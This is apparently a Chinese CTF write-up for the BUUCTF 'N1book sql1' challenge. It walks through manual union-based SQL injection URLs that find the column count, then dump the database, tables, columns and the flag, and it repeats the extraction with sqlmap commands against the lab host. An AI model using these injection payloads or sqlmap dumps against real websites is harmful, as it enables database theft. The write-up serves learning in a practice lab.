N1book(sql1)----sqlmap简单使用

文章目录


进入环境

手注

在这里插入图片描述

b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1'

在这里插入图片描述

http://b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1%27%20and%201=1%20%23

在这里插入图片描述

id=1%27%20and%201=2%20%23

在这里插入图片描述
说明是字符型注入
然后开始注入

?id=1%27%20order%20by%203%23

在这里插入图片描述

?id=-1%27%20union%20select%201,2,3%23

在这里插入图片描述
确定好了位置

id=-1' union select 1,database(),3%23

在这里插入图片描述
数据库的名字为note
爆表

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note'%23

在这里插入图片描述
爆列

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23

在这里插入图片描述
查看记录

?id=-1' union select 1,group_concat(fllllag ),3 from fl4g%23

在这里插入图片描述
n1book{union_select_is_so_cool}

sqlmap跑

用sqlmap 跑一跑
在这里插入图片描述

./sqlmap.py -u http://b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1 --dbs

在这里插入图片描述

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note --tables

在这里插入图片描述

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note -T fl4g --columns

在这里插入图片描述

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note -T fl4g -C fllllag --dump

在这里插入图片描述
n1book{union_select_is_so_cool}

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值